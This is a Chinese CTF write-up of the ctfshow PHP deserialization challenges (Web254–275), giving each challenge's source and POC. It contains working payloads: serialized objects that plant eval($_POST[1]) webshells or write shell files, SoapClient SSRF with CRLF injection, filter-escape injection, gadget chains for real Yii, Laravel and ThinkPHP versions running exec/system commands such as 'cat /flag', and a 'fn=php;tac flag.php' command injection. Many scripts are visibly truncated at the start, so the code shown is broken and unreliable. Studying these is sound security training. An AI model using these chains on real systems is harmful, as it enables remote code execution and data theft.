ctfshow-反序列化篇

知识点参考:
一篇文章带你深入理解漏洞之 PHP 反序列化漏洞
POC参考:
https://blog.csdn.net/miuzzx/article/details/110558192
https://tari.moe/2021/04/06/ctfshow-unserialize/

Web254

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这一题主要就是了解php类以及方法的调用流程,payload如下:

/?username=xxxxxx&password=xxxxxx

Web255

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

根据cookie值反序列化出一个类。我们发现login后并不会更改$isVip的值,所以需要反序列化,这样才可以通过chenkVip的判断。就是说我们需要让反序列后的结果是ctfShowUser的实例化对象。又因为只有$this->isVip是true才能是flag,所以反序列化的内容可以通过如下脚本生成:

isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

echo urlencode(serialize(new ctfShowUser()));
?>

记得需要urlencode以下,防止编码出错。将所得的结果设为cookie的值,键为user,然后为了通过login的检测,还需要用get方法提交:

/?username=xxxxxx&password=xxxxxx

即可。

Web256

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

先是反序列化一个实例,然后进行login判断,但是login判断并没有使得$isVip=true,所以这一步需要反序列化完成,接着是vipOneKeyGetFlag判断,要求username!==password,这一步也需要反序列化完成。总而言之,就是保证get传入的的username和序列化的一样并且和序列化的password不一样,脚本如下:

isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

echo urlencode(serialize(new ctfShowUser()));
?>

然后用脚本跑出来的值设置cookie,再设置get访问参数如下即可:

/?username=1&password=2

Web257

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

很明显,要想办法调用到backDoor类的getInfo()方法去执行eval()函数,所以把ctfShowUser类的构造方法中内容改为$this->class=new backDoor();,这样在销毁对象的时候就会调用backDoor对象的getInfo()方法,进而执行eval()函数,同时需要修改$code为木马即可。脚本如下:

class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code='eval($_POST[1]);';
    public function getInfo(){
        eval($this->code);
    }
}

echo urlencode(serialize(new ctfShowUser()));
?>

剩下的操作与之前一样,不过get传参中的username和password随便填就行,因为eval()语句是在销毁对象中有效。可以看一下脚本生成的序列化的内容:

O:11:"ctfShowUser":4:{s:21:"ctfShowUserusername";s:6:"xxxxxx";
                      s:21:"ctfShowUserpassword";s:6:"xxxxxx";
                      s:18:"ctfShowUserisVip";b:0;
                      s:18:"ctfShowUserclass";O:8:"backDoor":1:
                              {s:14:"backDoorcode";s:16:"eval($_POST[1]);";}}

看来能控制得只有属性,但是仍然可以通过过修改构造方法,进而在脚本中的序列化操作中修改受影响得属性。也即是脚本中的serialize()方法会在序列化得过程中调用构造方法?但是unserialize()时是不会调用的。

Web258

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

在上一题的基础上添加了过滤,上一题的最后我们看到了序列化之后的内容,可以发现O:11以及O:8会被正则匹配到,所以在118前面添上+号达到绕过的效果,最后再urlencode即可,脚本如下:

class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code='eval($_POST[1]);';
    public function getInfo(){
        eval($this->code);
    }
}

$a=serialize(new ctfShowUser());

$b=str_replace(':11',':+11',$a);

$c=str_replace(':8',':+8',$b);

echo urlencode($c);
?>

最后的操作仍然是设置cookie,get传参随意,只要有username和password即可,并且通过post传参1进行命令执行。

Web259

先给了flag.php的源码:

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

这段代码通过x-forwarded-for头部判断原始ip,要求ip为127.0.0.1,并且要求传入token,如果传入的token正确,就会把flag写到flag.txt中。那么就需要给flag.php发满足上述条件的包即可。不过由于限制了ip的来源(没有贴出来,不过应该类似于):

if($_SERVER['REMOTE_ADDR']==='127.0.0.1'){
xxxxxx;
}

所以得使用ssrf,让服务器内部自己去访问,这就需要结合下面的内容了。
看看后端的代码:

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

通过传入的vip进行反序列化,然后调用了getFlag()方法。但是并没有给我们提供类,所以这个题利用的是php原生类SoapClient。当访问一个类不存在的方法时,php会默认调用该类的__call魔术方法,会调用SoapClient类的构造方法,进而达到发包的目的。
可参考:https://dar1in9s.github.io/2020/04/02/php%E5%8E%9F%E7%94%9F%E7%B1%BB%E7%9A%84%E5%88%A9%E7%94%A8/

所以,我们只需要构造满足条件的SoapClient类,序列化后传入vip参数即可。这里面还涉及了CRLF的利用,用于在user-agent头部进行注入,所以最终的脚本如下:

'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
?>

Web260

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

字符串序列化后就是其本身,所以payload如下:

/?ctfshow=ctfshow_i_love_36D

Web261

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

全是魔术方法。在php7.4以上:如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
serialize()函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。不过我们是在本地进行序列化的,所以没有影响。
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。这个对这道题没有影响。
魔术方法参考:https://www.php.net/manual/zh/language.oop5.magic.php
所以我们的脚本如下:

username='877.php';
        $this->password='';
    }
}

echo urlencode(serialize(new ctfshowvip));
?>

或者:

username=$u;
        $this->password=$p;
    }
}
$a=new ctfshowvip('877.php','');
echo serialize($a);

以为是弱比较,所以877.php=0x36d,都是877,所以就在877.php中写入了木马了。访问877.php即可进行命令执行。

Web262

error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

这道题会根据传入的参数生成message对象,并经过序列化、替换和base64编码后作为cookie返回。然后看向message.php:

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

会根据cookie值进行反向操作,判断token=='admin'与否。所以我们就要想办法控制$token(其实可以直接控制,见这道题的最后非预期解),而构造方法是并没有对$token的值进行处理,所以重点在于字符串替换里面,两个字符串的长度不一样。

from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

function filter($msg){
    return str_replace('fuck','loveU',$msg);
}

$msg1=new message('fuck','b','c');
$msg1_ser=serialize($msg1);
echo $msg1_ser;
#O:7:"message":4:{s:4:"from";s:4:"fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
$msg2=filter($msg1_ser);
echo $msg2;
#O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

?>

可以看出序列化之后再替换会造成字符的逃逸,loveU有五个字符,但是前面的数字为4。在这个例子中,每一次替换可以逃逸一个字符,那么就可以想办法注入我们需要的内容:

$msg1=new message('fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');

可以看到,我们在$from字段注入了一个序列化的后头的内容,包括了$token='admin',但是字符串替换后只会造成最后一位字符逃逸(fuck变为loveU把注入的最后一位挤出去了)。而注入的内容长度为62字符:

";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

所以需要重复62次fuck即可达到逃逸的效果。这样序列化并替换后的结果如下:


O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

310正好覆盖了所有的loveU,从而使得后面注入的内容逃逸了。
本地反序列化一下,的确把$token写为admin了。


所以最终的脚本如下:

from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

function filter($msg){
    return str_replace('fuck','loveU',$msg);
}

$msg1=new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');

$msg1_ser=serialize($msg1);

$msg2=filter($msg1_ser);

echo base64_encode($msg2);
?>

当然也可以直接传参:

/?f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

还有一个非预期解,因为$token字段是可控的,所以直接上脚本:

from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

echo base64_encode(serialize(new message('a','b','c')));
?>

Web263

这一题是关于PHP Session反序列化漏洞。
参考:https://www.jb51.net/article/116246.htm

先访问/www.zip下载源代码,然后打开源码有几个重要文件:

index.php中,可以看到$_SESSION['limti']>5中有拼写错误,始终为假,所以必定会执行$_SESSION['limit']=base64_decode($_COOKIE['limit']);,那么我们可以通过控制cookie进而控制session:

    //超过5次禁止登陆
    if(isset($_SESSION['limit'])){
        $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
        $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
    }else{
         setcookie("limit",base64_encode('1'));
         $_SESSION['limit']= 1;
    }

check.php中包含了inc.php,在其中设置了session序列化引擎为php引擎,这样设置说明原本的默认引擎应该是php_serialize引擎,也就是在index.php中写入$_SESSION['limit']的就是php_serialize引擎:

ini_set('session.serialize_handler', 'php');
session_start();
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

那么在此基础上可以可以利用session反序列化漏洞构造出一个User类,在其中的__destruct()方法中可以写一个shell文件。
那么我们的脚本如下(加了一个phpinfo();好像是因为编码问题对后面的符号有影响):

username='b.php';
$a->password='';
echo base64_encode('|'.serialize($a));
?>

操作如下:cookie就设置为上述脚本跑出来的值,并访问index.php,这样session文件中就写入了我们需要的内容,这个内容在访问check.php时,因为包含了inc.php,inc.php中又改变了session引擎,进而反序列化出一个User类的实例,而这个实例在销毁的时候调用了--destruct()方法,进而达成了写shell的目的。

Web264

error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

还有一个message.php如下:

session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

参考Web262,我们注入的地方可以是传入的参数t处,注入的内容就是:

";s:5:"token";s:5:"admin";}

共27个字符,所以需要重复27遍fuck,所以最终的payload如下:

/?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

以此访问index.php,然后再访问message.php反序列化,记得带上名为msg的cookie,值随意即可。

Web265

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

考察的是php的按地址传参,也就类似于C语言里面的指针,脚本如下:

token=$t;
        $this->password = &$this->token;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$admin=new ctfshowAdmin('123','123');

echo serialize($admin);

?>

只要$this->password$this->token指向同一块地址空间,那么无论后者的值怎么变,两者都相等。

Web266

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

会对序列化的内容做过滤,不能包含ctfshow。但是,PHP有一个特性:函数名和类名不区分大小写,变量名区分。所以可以改为Ctfshow即可。脚本如下:



注意:file_get_contents('php://input');,获取请求原始数据流。

Web267

这是Yii框架的一个反序列化漏洞。
先是弱密码登录admin/admin,然后在源码中看到一个这个提示:


访问/index.php?r=site%2Fabout&view-source,爆出了反序列化入口:

那么脚本如下:

checkAccess = 'exec';
            $this->id = 'cp /fla* 1.txt';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

?>

最终的url如下:

http://cc12175e-83dc-4457-b0d6-b63c4e891fe0.challenge.ctf.show:8080/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NDoiZXhlYyI7czoyOiJpZCI7czoxNDoiY3AgL2ZsYSogMS50eHQiO31pOjE7czozOiJydW4iO319fX0=

复现可以参考:
https://mp.weixin.qq.com/s?__biz=MzU5MDI0ODI5MQ==&mid=2247485129&idx=1&sn=b27e3fe845daee2fb13bb9f36f53ab40

Web268

仍然是Yii框架,不过打了补丁,方法和上一题一样,不过payload脚本变了:

checkAccess = 'exec';
            $this->id = 'cp /fla* 1.txt';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc1
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

Web269

仍然是Yii框架,不过打了补丁,方法和上一题一样,不过payload脚本变了:

checkAccess = 'exec';
            $this->id = 'cp /fla* 1.txt';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                // 有就行
                "suiyi"=>array("suiyi"=>"suiyi")
            );
        }
    }
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

Web270

仍然是Yii框架,不过打了补丁,方法和上一题一样,不过payload脚本变了:

checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('exec', 'cp /fla* 1.txt');
    echo(base64_encode(serialize($exp)));
}

Web271

Laravel 5.7 框架的反序列化漏洞:


 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

参考:
https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/

POC如下:

test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser
            $this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application
            $this->command = $command;           //要执行的php函数 system
            $this->parameters = $parameters;     //要执行的php函数的参数  array('id')
        }
    }
}

namespace Faker {
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        protected $instances = [];

        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace {
    $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

    $app = new Illuminate\Foundation\Application();

    $application = new Illuminate\Foundation\Application($app);

    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('cat /flag'));

    echo urlencode(serialize($pendingcommand));
}

?>

Web272

Laravel 5.8 框架的反序列化漏洞。
参考:
https://xz.aliyun.com/t/5911
https://www.anquanke.com/post/id/189718


 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__ . '/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__ . '/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);

$kernel->terminate($request, $response);

POC如下:

config = $config;
            $this->code = $code;
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader{}
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}
namespace{
    $line = new PhpParser\Node\Scalar\MagicConst\Line();
    $mockdefinition = new Mockery\Generator\MockDefinition($line,"");
    $evalloader = new Mockery\Loader\EvalLoader();
    $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
    $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
    echo urlencode(serialize($pendingbroadcast));
}
?>

Web273

PHP/7.1.32框架审计Laravel 5.8反序列化漏洞,POC同上,只是php版本变化了,没啥影响。

Web274

thinkphp 5.1反序列化漏洞。
参考:https://xz.aliyun.com/t/6619
POC如下:

append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

传入参数如下:

/?lin= cat%20/fl*&data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19

Web275

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

利用的地方在filter类的析构方法中,会对传入的fn参数进行命令的拼接,而其之前有一个判断,要求$this->evilfile=true,那么就需要在filter类的checkevil()方法中有一条正则匹配成功,比如说第一条匹配成功。由此,payload如下:

/?fn=php;tac flag.php

